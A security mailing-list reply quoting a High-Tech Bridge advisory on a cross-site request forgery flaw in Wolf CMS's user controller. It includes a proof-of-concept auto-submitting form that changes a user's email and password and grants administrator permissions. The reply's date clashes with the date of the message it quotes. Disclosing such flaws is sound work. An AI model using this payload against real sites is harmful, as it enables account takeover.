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Re: XSRF (CSRF) in Wolf CMS

Date: 2010-04-03

This looks to be the same finding in 0.6.0a

On Thu, 25 Nov 2010, advisory@xxxxxxxxxxx wrote:

: Vulnerability ID: HTB22681
: Reference: http://www.htbridge.ch/advisory/xsrf_csrf_in_wolf_cms.html
: Product: Wolf CMS
: Vendor: Wolf CMS team ( http://www.wolfcms.org/ ) 
: Vulnerable Version: 0.6.0b and probably prior versions
: Vendor Notification: 09 November 2010 
: Vulnerability Type: CSRF (Cross-Site Request Forgery)
: Status: Fixed by Vendor
: Risk level: Low 
: Credit: High-Tech Bridge SA - Ethical Hacking & Penetration Testing (http://www.htbridge.ch/) 
: Vulnerability Details:
: The vulnerability exists due to failure in the "wolf/app/controllers/UserController.php" script to properly verify the source of HTTP request.
: Successful exploitation of this vulnerability could result in a compromise of the application, theft of cookie-based authentication credentials, disclosure or modification of sensitive data.
: Attacker can use browser to exploit this vulnerability. The following PoC is available:
: <form action="http://host/admin/?/user/edit/USER_ID"; method="post" name="main">
: <input type="hidden" name="user[name]" value="username">
: <input type="hidden" name="user[email]" value="myemail@xxxxxxxxxxx">
: <input type="hidden" name="user[password]" value="">
: <input type="hidden" name="user[confirm]" value="">
: <input type="hidden" name="user_permission[administrator]" value="1">
: <input type="hidden" name="user_permission[developer]" value="2">
: <input type="hidden" name="user_permission[editor]" value="3">
: <input type="hidden" name="user[language]" value="en">
: <input type="hidden" name="commit" value="Save">
: </form>
: <script>
: document.main.submit();
: </script>
: Solution: Upgrade to the most recent version